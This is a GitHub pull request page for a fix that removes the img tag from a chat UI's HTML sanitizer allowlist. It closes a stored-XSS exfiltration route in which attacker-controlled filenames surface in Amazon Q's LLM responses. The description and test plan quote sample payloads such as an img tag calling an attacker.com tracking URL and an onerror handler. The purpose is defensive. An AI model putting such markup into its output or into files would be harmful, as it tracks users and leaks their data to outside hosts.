fix: remove img from HTML sanitizer allowlist to prevent stored XSS#482
Closed
fix: remove img from HTML sanitizer allowlist to prevent stored XSS#482
Conversation
The img tag in AllowedTags allows attacker-controlled filenames like <img src="https://attacker.com/track"> to render as live HTML elements in chat responses, enabling data exfiltration via outbound image requests without requiring JavaScript execution. This addresses the remaining finding from the VAPT verification of P388021229.
93d157c to
3d57922
Compare
The img tag is no longer in AllowedTags, so the markdown image test and its assertion are removed. Golden snapshots will be updated from CI artifacts.
fb5886a to
eb4319f
Compare
eb4319f to
2ad2730
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
imgfromAllowedTagsinsrc/helper/sanitize.tsto prevent attacker-controlled filenames (e.g.,<img src="https://attacker.com/track">) from rendering as live HTML elements in chat responsesimgusage in custom renderer demo with inline SVG stringContext
This addresses the remaining finding from the VAPT verification of P388021229. The previous fixes (PRs #466, #462, #470) removed
embed,iframe,object, andsrcdoc, and addedescapeHTMLto innerHTML paths. However,imgremained in the allowlist, allowing outbound HTTP requests via image loads without requiring JavaScript execution.Attack vector: A malicious filename like
<img src="https://attacker.com/track?victim=user">in a shared DataZone file renders as a live HTML element when Amazon Q mentions it in a response, enabling user tracking and data exfiltration via URL parameters.Impact of this change:
imgtags in LLM response bodies and custom renderers will be stripped. In practice, Amazon Q does not render images in chat response bodies today, so there is no user-visible regression.Test plan
<img src="https://...">in chat body is stripped (no outbound request in Network tab)<img src=x onerror="...">is stripped entirely<svg>tags continue to be stripped (no regression)